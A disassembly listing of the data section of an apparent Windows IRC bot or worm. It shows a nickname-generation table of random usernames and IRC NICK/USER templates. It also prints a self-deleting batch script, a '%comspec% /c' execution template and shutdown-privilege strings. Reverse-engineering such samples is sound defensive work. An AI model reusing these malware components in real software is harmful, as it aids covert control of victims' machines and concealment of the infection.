10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_41767C+AFo align 10h dword_43AB50 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417AD6+70o ; sub_417B6D+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_43ABA0 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417B6D+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h, 0 off_43ABF8 dd offset aQ ; DATA XREF: sub_417FDF+5Cr ; "q" dd offset dword_43B7A4 dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset dword_43B7A0 dd offset aU ; "u" dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_1 ; "s" dd offset dword_43B79C dd offset dword_43B798 dd offset dword_43B794 dd offset dword_43B790 dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42F324 ; "l" dd offset dword_43B78C dd offset dword_43B788 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_43B784 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43B780 dd offset dword_43B77C dd offset dword_43B778 dd offset dword_43B774 dd offset dword_43B770 dd offset word_43B76C dd offset dword_43B768 dd offset aI_0 ; "I" dd offset dword_43B764 dd offset dword_43B760 dd offset aA_0 ; "A" dd offset dword_43B75C dd offset dword_43B758 dd offset dword_43B754 dd offset dword_43B750 dd offset dword_43B74C dd offset dword_43B748 dd offset dword_43B744 dd offset dword_43B740 dd offset dword_43B73C dd offset dword_43B738 dd offset dword_43B734 dd offset dword_43B730 dd offset dword_43B72C dd offset word_43B728 dd offset aM_1 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_43B4C0 dd offset off_43B4BC dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_43B328 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_43AEF8 dd offset aSex ; DATA XREF: sub_417FDF+41r ; sub_417FDF+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_43B784 dd offset aC ; "c" dd offset dword_43B79C dd offset aE ; "e" dd offset dword_43B798 dd offset dword_43B794 dd offset dword_43B790 dd offset aI ; "i" dd offset dword_42DB48 dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42F324 ; "l" dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_43B7A4 dd offset dword_43B788 dd offset dword_43B7A0 dd offset dword_43B78C dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_43B78C dd offset dword_43B794 dd offset aS_1 ; "s" dd offset aQ ; "q" dd offset off_43B148 dd offset aBbl ; "|bbl" dd offset byte_4404C4 dd offset byte_4404C4 dd offset a___0 ; "_|_" dd offset byte_4404C4 dd offset byte_4404C4 dd offset byte_4404C4 dd offset byte_4404C4 dd offset dword_43B754 dd offset aM_1 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF ; "^^^f^" dd offset dword_43B784 dd offset byte_4404C4 dd offset aSleeping ; "Sleeping" dd offset byte_4404C4 dd offset byte_4404C4 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_4404C4 dd offset byte_4404C4 dd offset dword_43B738 dd offset byte_4404C4 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_43B0C8 dd offset dword_43B0C4 dd offset dword_43B0BC dd offset dword_43B0B0 dd offset dword_43B0A8 dd offset dword_43B0A0 dd offset dword_43B098 dd offset dword_43B094 dd offset dword_43B090 dword_43B090 dd 7536h dword_43B094 dd 7535h dword_43B098 dd 7C75347Ch, 0 dword_43B0A0 dd 6F79347Bh, 7D75hdword_43B0A8 dd 7375347Ch, 7Chdword_43B0B0 dd 7865737Ch, 65726634h, 7C65hdword_43B0BC dd 6F6C6F6Ch, 7C617Chdword_43B0C4 dd 6C6F6Ch dword_43B0C8 dd 746F74h aMofo db 'mofo',0 ; DATA XREF: .XPack0:0043B068o align 4 aMof0 db 'mof0',0 ; DATA XREF: .XPack0:0043B064o align 4 aMuha db 'muha',0 ; DATA XREF: .XPack0:0043B060o align 4 aYeah db 'yeah',0 ; DATA XREF: .XPack0:0043B05Co align 4 aAha db 'aha',0 ; DATA XREF: .XPack0:0043B058o aShit db 'shit',0 ; DATA XREF: .XPack0:0043B054o align 4 aGurl db 'gurl',0 ; DATA XREF: .XPack0:0043B050o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: .XPack0:0043B04Co align 4 aBoy db 'BOY',0 ; DATA XREF: .XPack0:0043B048o aFree db 'Free',0 ; DATA XREF: .XPack0:0043B034o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: .XPack0:0043B030o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: .XPack0:0043B024o align 4 aF db '^^^f^',0 ; DATA XREF: .XPack0:0043B018o align 10h aSad db 'Sad',0 ; DATA XREF: .XPack0:0043B014o aLuvu db 'LUVU',0 ; DATA XREF: .XPack0:0043B010o align 4 a___0 db '_|_',0 ; DATA XREF: .XPack0:0043AFF4o aBbl db '|bbl',0 ; DATA XREF: .XPack0:0043AFE8o align 4 off_43B148 dd offset loc_425241+1 ; DATA XREF: .XPack0:0043AFE4o aMuckc db 'muckc',0 ; DATA XREF: .XPack0:0043AFD0o align 4 aTruck db 'truck',0 ; DATA XREF: .XPack0:0043AFCCo align 4 aTrimy db 'trimy',0 ; DATA XREF: .XPack0:0043AFC8o align 4 aLuvy db 'luvy',0 ; DATA XREF: .XPack0:0043AFC4o align 4 aUi db 'ui',0 ; DATA XREF: .XPack0:0043AFC0o align 10h aSdf db 'sdf',0 ; DATA XREF: .XPack0:0043AFBCo aRt db 'rt',0 ; DATA XREF: .XPack0:0043AFB8o align 4 aGf db 'gf',0 ; DATA XREF: .XPack0:0043AFB4o align 4 aTy db 'ty',0 ; DATA XREF: .XPack0:0043AFB0o align 10h aRg db 'rg',0 ; DATA XREF: .XPack0:0043AFACo align 4 aHappy db 'happy',0 ; DATA XREF: .XPack0:0043AFA8o align 4 aRs db 'rs',0 ; DATA XREF: .XPack0:0043AF88o align 10h aQ8A db '|q8|a',0 ; DATA XREF: .XPack0:0043AF40o align 4 aQ8 db 'Q8',0 ; DATA XREF: .XPack0:0043AF3Co align 4 aSick db 'sick}}',0 ; DATA XREF: .XPack0:0043AF38o align 4 aWiked db '|wiked|',0 ; DATA XREF: .XPack0:0043AF34o aLuvuF db '||luvu-f|',0 ; DATA XREF: .XPack0:0043AF30o align 4 aGens db '{gens|',0 ; DATA XREF: .XPack0:0043AF2Co align 10h aSex_0 db '{sex}',0 ; DATA XREF: .XPack0:0043AF28o align 4 aHub db '{hub}',0 ; DATA XREF: .XPack0:0043AF24o align 10h aLuck db '|luck|',0 ; DATA XREF: .XPack0:0043AF20o align 4 aSuck db '|suck|',0 ; DATA XREF: .XPack0:0043AF1Co align 10h aTot db '-|tot|',0 ; DATA XREF: .XPack0:0043AF18o align 4 aWoh db '|woh|',0 ; DATA XREF: .XPack0:0043AF14o align 10h aTambe db '|tambe|',0 ; DATA XREF: .XPack0:0043AF10o aLag db 'lag',0 ; DATA XREF: .XPack0:0043AF0Co aBad db 'bad',0 ; DATA XREF: .XPack0:0043AF08o aTree db 'tree',0 ; DATA XREF: .XPack0:0043AF04o align 4 aZex db 'zex',0 ; DATA XREF: .XPack0:0043AF00o aLez db 'lez',0 ; DATA XREF: .XPack0:0043AEFCo aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .XPack0:0043AEF4o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: .XPack0:0043AEF0o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: .XPack0:0043AEECo align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .XPack0:0043AEE8o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: .XPack0:0043AEE4o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: .XPack0:0043AEE0o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: .XPack0:0043AEDCo align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: .XPack0:0043AED8o align 4 aCem39 db 'cem39',0 ; DATA XREF: .XPack0:0043AED4o align 10h aCool30m db 'cool30m',0 ; DATA XREF: .XPack0:0043AED0o aTropikal db 'tropikal',0 ; DATA XREF: .XPack0:0043AECCo align 4 aPassenger db 'passenger',0 ; DATA XREF: .XPack0:0043AEC8o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: .XPack0:0043AEC4o align 4 aUla db 'ula',0 ; DATA XREF: .XPack0:0043AEC0o aIzmirlm db 'izmirlm',0 ; DATA XREF: .XPack0:0043AEBCo aAkden db 'akden',0 ; DATA XREF: .XPack0:0043AEB8o align 10h aKoray db 'KORAY',0 ; DATA XREF: .XPack0:0043AEB4o align 4 aAta29 db 'Ata29',0 ; DATA XREF: .XPack0:0043AEB0o align 10h aFirtina db 'firtina',0 ; DATA XREF: .XPack0:0043AEACo aAdamm33 db 'AdAMM33',0 ; DATA XREF: .XPack0:0043AEA8o aM41ist db 'M41IST',0 ; DATA XREF: .XPack0:0043AEA4o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: .XPack0:0043AEA0o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: .XPack0:0043AE9Co align 4 aAnkm db 'ankM',0 ; DATA XREF: .XPack0:0043AE98o align 4 aErkan db 'erkan',0 ; DATA XREF: .XPack0:0043AE94o align 4 aDevre db 'devre',0 ; DATA XREF: .XPack0:0043AE90o align 4 aYabanc db 'yabanc',0 ; DATA XREF: .XPack0:0043AE8Co align 4 aBirsen db 'birsen',0 ; DATA XREF: .XPack0:0043AE88o align 4 aA44m db 'a44m',0 ; DATA XREF: .XPack0:0043AE84o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: .XPack0:0043AE80o align 4 off_43B328 dd offset byte_4B5245 ; DATA XREF: .XPack0:0043AE7Co aSevda db 'sevda',0 ; DATA XREF: .XPack0:0043AE78o align 4 aKotan db 'kotan',0 ; DATA XREF: .XPack0:0043AE74o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: .XPack0:0043AE70o align 4 aAchilles db 'Achilles',0 ; DATA XREF: .XPack0:0043AE6Co align 10h aKapk db 'kapk',0 ; DATA XREF: .XPack0:0043AE68o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: .XPack0:0043AE64o align 4 aHayran db 'hayran',0 ; DATA XREF: .XPack0:0043AE60o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: .XPack0:0043AE5Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: .XPack0:0043AE58o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: .XPack0:0043AE54o aAnk32M db 'ANK-32-M',0 ; DATA XREF: .XPack0:0043AE50o align 4 aUmut db 'umut-',0 ; DATA XREF: .XPack0:0043AE4Co align 4 aAdalim db 'ADALIM',0 ; DATA XREF: .XPack0:0043AE48o align 4 aKumul db 'kumul',0 ; DATA XREF: .XPack0:0043AE44o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: .XPack0:0043AE40o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .XPack0:0043AE3Co align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: .XPack0:0043AE38o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .XPack0:0043AE34o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: .XPack0:0043AE30o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .XPack0:0043AE2Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: .XPack0:0043AE28o aHoly db 'holy',0 ; DATA XREF: .XPack0:0043AE24o align 10h aFlord db 'FLoRD',0 ; DATA XREF: .XPack0:0043AE20o align 4 aKebikec db 'kebikec',0 ; DATA XREF: .XPack0:0043AE1Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .XPack0:0043AE18o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: .XPack0:0043AE14o align 4 aEmre db 'Emre--',0 ; DATA XREF: .XPack0:0043AE10o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: .XPack0:0043AE0Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: .XPack0:0043AE08o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: .XPack0:0043AE04o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: .XPack0:0043AE00o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .XPack0:0043ADFCo aArda db 'arda',0 ; DATA XREF: .XPack0:0043ADF8o align 4 aDevran db 'devran',0 ; DATA XREF: .XPack0:0043ADF4o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: .XPack0:0043ADF0o aDenizlim db 'DenizliM',0 ; DATA XREF: .XPack0:0043ADECo align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: .XPack0:0043ADE8o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: .XPack0:0043ADE4o align 10h aBogac db 'bogac',0 ; DATA XREF: .XPack0:0043ADE0o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: .XPack0:0043ADDCo align 4 aAnkh db 'ankh',0 ; DATA XREF: .XPack0:0043ADD8o align 4 off_43B4BC dd offset byte_457441 ; DATA XREF: .XPack0:0043ADD4o dword_43B4C0 dd 414C5941h, 2DhaAlbina db 'albina',0 ; DATA XREF: .XPack0:0043ADCCo align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: .XPack0:0043ADC8o align 4 aZack db 'ZACK',0 ; DATA XREF: .XPack0:0043ADC4o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: .XPack0:0043ADC0o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: .XPack0:0043ADBCo align 4 aAhmet db 'ahmet',0 ; DATA XREF: .XPack0:0043ADB8o align 4 aPelincik db 'pelincik',0 ; DATA XREF: .XPack0:0043ADB4o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: .XPack0:0043ADB0o align 4 aRetg db 'RETG',0 ; DATA XREF: .XPack0:0043ADACo align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: .XPack0:0043ADA8o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: .XPack0:0043ADA4o aAslii db 'aslii',0 ; DATA XREF: .XPack0:0043ADA0o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: .XPack0:0043AD9Co aHaticem db 'haticem',0 ; DATA XREF: .XPack0:0043AD98o aArzu db 'ARZU',0 ; DATA XREF: .XPack0:0043AD94o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: .XPack0:0043AD90o aSevmekmi db 'sevmekmi',0 ; DATA XREF: .XPack0:0043AD8Co align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .XPack0:0043AD88o align 10h aTekir db 'tekir',0 ; DATA XREF: .XPack0:0043AD84o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .XPack0:0043AD80o align 4 aTrend3 db 'trend3',0 ; DATA XREF: .XPack0:0043AD7Co align 4 aMelekk db 'melekk',0 ; DATA XREF: .XPack0:0043AD78o align 4 aAkin db 'AKIN',0 ; DATA XREF: .XPack0:0043AD74o align 4 aMary_0 db 'MARY',0 ; DATA XREF: .XPack0:0043AD70o align 4 aJericho db 'JERICHO',0 ; DATA XREF: .XPack0:0043AD6Co aTolga34 db 'Tolga34',0 ; DATA XREF: .XPack0:0043AD68o aMisssunday db 'misssunday',0 ; DATA XREF: .XPack0:0043AD64o align 10h aIrmal db 'irmal',0 ; DATA XREF: .XPack0:0043AD60o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .XPack0:0043AD5Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: .XPack0:0043AD58o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: .XPack0:0043AD54o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: .XPack0:0043AD50o aKaan38dent db 'kaan38dent',0 ; DATA XREF: .XPack0:0043AD4Co align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .XPack0:0043AD48o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .XPack0:0043AD44o align 4 aKencing db 'Kencing',0 ; DATA XREF: .XPack0:0043AD40o aReshma db 'reshma',0 ; DATA XREF: .XPack0:0043AD3Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: .XPack0:0043AD38o align 4 aGirl db 'GirL',0 ; DATA XREF: .XPack0:0043AD34o align 4 aImra db 'imra',0 ; DATA XREF: .XPack0:0043AD30o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .XPack0:0043AD2Co align 4 aPuregold db 'puregold',0 ; DATA XREF: .XPack0:0043AD28o align 4 aKermit db 'kermit',0 ; DATA XREF: .XPack0:0043AD24o align 4 aManee db 'manee',0 ; DATA XREF: .XPack0:0043AD20o align 4 aTroller db 'troller',0 ; DATA XREF: .XPack0:0043AD1Co aLuisa db 'Luisa',0 ; DATA XREF: .XPack0:0043AD18o align 4 aNastysha db 'nastysha',0 ; DATA XREF: .XPack0:0043AD14o align 10h aRimpy db 'rimpy',0 ; DATA XREF: .XPack0:0043AD10o align 4 aJanno db 'janno',0 ; DATA XREF: .XPack0:0043AD0Co align 10h aBunty db 'bunty',0 ; DATA XREF: .XPack0:0043AD08o align 4 aHeval db 'heval',0 ; DATA XREF: .XPack0:0043AD04o align 10h aCme db 'cme',0 ; DATA XREF: .XPack0:0043AD00o aMarcy db 'marcy',0 ; DATA XREF: .XPack0:0043ACFCo align 4 aTalika db 'talika',0 ; DATA XREF: .XPack0:0043ACF8o align 4 aShez db 'Shez',0 ; DATA XREF: .XPack0:0043ACF4o align 4 aKen db 'ken',0 ; DATA XREF: .XPack0:0043ACF0o aFlexster db 'flexster',0 ; DATA XREF: .XPack0:0043ACECo align 4 aKoko db 'koko',0 ; DATA XREF: .XPack0:0043ACE8o align 4 aMale db 'male',0 ; DATA XREF: .XPack0:0043ACE4o align 4 aSwin db 'swin',0 ; DATA XREF: .XPack0:0043ACE0o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: .XPack0:0043ACDCo aKrizha db 'KRIZHA',0 ; DATA XREF: .XPack0:0043ACD8o align 4 aEmilya db 'emilya',0 ; DATA XREF: .XPack0:0043ACD4o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .XPack0:0043ACD0o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: .XPack0:0043ACCCo aFarooq db 'farooq',0 ; DATA XREF: .XPack0:0043ACC8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: .XPack0:0043ACC4o align 4 aM_1: ; DATA XREF: .XPack0:0043ACC0o ; .XPack0:0043B00Co unicode 0, <M>,0 word_43B728 dw 4Eh ; DATA XREF: sub_41A4EB+38r ; .XPack0:0043ACBCo align 4 dword_43B72C dd 42h dword_43B730 dd 56h dword_43B734 dd 43h dword_43B738 dd 58h ; .XPack0:0043B040o dword_43B73C dd 5Ah dword_43B740 dd 4Ch dword_43B744 dd 4Bh dword_43B748 dd 4Ah dword_43B74C dd 48h dword_43B750 dd 47h dword_43B754 dd 46h ; .XPack0:0043B008o dword_43B758 dd 44h dword_43B75C dd 53h dword_43B760 dd 50h dword_43B764 dd 4Fh dword_43B768 dd 55h word_43B76C dw 59h ; DATA XREF: sub_41A811+38r ; .XPack0:0043AC70o align 10h dword_43B770 dd 54h dword_43B774 dd 52h dword_43B778 dd 45h dword_43B77C dd 57h dword_43B780 dd 51h dword_43B784 dd 62h ; .XPack0:0043AF44o ... dword_43B788 dd 78h ; .XPack0:0043AF9Co dword_43B78C dd 7Ah ; .XPack0:0043AFA4o ... dword_43B790 dd 68h ; .XPack0:0043AF5Co dword_43B794 dd 67h ; .XPack0:0043AF58o ... dword_43B798 dd 66h ; .XPack0:0043AF54o dword_43B79C dd 64h ; .XPack0:0043AF4Co dword_43B7A0 dd 79h ; .XPack0:0043AFA0o dword_43B7A4 dd 77h ; .XPack0:0043AF98o dword_43B7A8 dd 4B43494Eh, 0A732520h, 0dword_43B7B4 dd 323334h dword_43B7B8 dd 474E4F50h, 0A732520h, 0aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417DC2+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417FDF+BCo ; sub_417FDF+174r ... align 10h dword_43B800 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43B84C dd 3000005h, 10h, 18h, 1, 3 dup(0); --------------------------------------------------------------------------- loc_43B868: ; DATA XREF: sub_418416+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_43B87C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_418416+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4187D7+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_41891E+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4189C2+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4189E4+140o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4189E4+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4189E4+48o align 10h unk_43B930 db 2 ; DATA XREF: sub_418B6C+9Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 6Ch ; l db 2, 6Fh, 67h db 3 db 30h, 31h, 2Ch db 3 db 31h, 34h, 3Ah db 3 a1OperatingSyst db '1 operating system is not supported',0 align 4 unk_43B974 db 2 ; DATA XREF: sub_418B6C+8Fo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 6Ch ; l db 2, 6Fh, 67h db 3 db 30h, 31h, 2Ch db 3 db 31h, 34h, 3Ah db 3 a1FailedWithErr db '1 failed with error code %d',0 align 10h dword_43B9B0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 676F026Ch ; DATA XREF: sub_418B6C+5Co dd 2C313003h, 3A343103h, 25203103h, 6F6C2073h, 6C632067h dd 65726165h, 64h off_43B9E0 dd offset aAdd ; DATA XREF: sub_418D56+6Dr ; sub_41913D+50r ... ; "Add" off_43B9E4 dd offset aAdded ; DATA XREF: sub_418D56+2Dr ; sub_41913D+82r ... ; "Added" dword_43B9E8 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43BA54h, 43BA4Ch, 2, 43BA40h, 43BA34h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 